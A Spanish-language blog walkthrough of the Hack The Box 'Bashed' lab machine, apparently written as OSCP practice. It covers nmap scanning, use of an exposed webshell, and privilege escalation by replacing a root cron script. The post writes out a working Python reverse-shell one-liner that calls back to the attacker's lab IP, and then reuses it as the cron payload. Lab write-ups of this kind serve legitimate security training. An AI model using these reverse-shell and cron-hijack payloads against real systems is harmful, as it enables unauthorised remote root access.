Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ Bashed de Hack The Box (Necesario VIP)

Bashed ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.68       "

Procedemos con el siguiente escaneo de Nmap

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Procedemos a hacer Fuzzing o reconocimiento de rutas a nivel web

1.- /dev
2.- /uploads
3.-/js

Vamos a revisar esas rutas y si almacenan archivos y son visibles

Explotacion

Encontramos en la ruta http://10.10.10.68/dev/phpbash.php una webshell !! Una terminal interactiva como el usuarion www-data Vemos que desde la webshell ya podriamos listar el contenido de la primera flag almacenada en la ruta home/arrexel/user.txt Pero porque no vamos a conseguir un Revese-Shell en nuestra maquina atacante, probamos diversas Rshells y esta nos funciona correctamente.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.12",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Nos ponemos a la escucha con una session de netcat-nc -vlnp 443 y recibimos la shell, hacemos un tratamiento de la tty como siempre y pillamos la primera flag.

Escalada de privilegios

Listamos privilegios de www.data con $sudo -l y nos dice que podemos ejecutar todos los comandos como el Usuario

Scriptmanager: Hacemos lo siguiente $ sudo -u scriptmanager /bin/bash

Y nos convertimos en el usuario scriptmanager $

Nos movemos al directorio / raiz y desde ahi listamos los diferentes archivos para ver su contenido.

En este caso encontramos en el directorio inusual en la / - “SCRIPTS” y un script en python llamado "test.py" que por detras tiene una Tarea Cron como administrador del sistema.

Modificamos o borramos el script “test.py" y creamos otro archivito llamado igual con nuestro propio script en python que va a llevar el siguiente comando:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.12",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

[] Dato importante []

El mismo comando que antes sin el python -c y quitando las comillas.

Nos quedamos a la eschucha con nc -vlnp 1234 y cuando la Tarea Cron se ejecute como el usuario root; conseguiremos nuestra Reverse-Shell como el user ROOT

Maquina Bashed Rooteada =)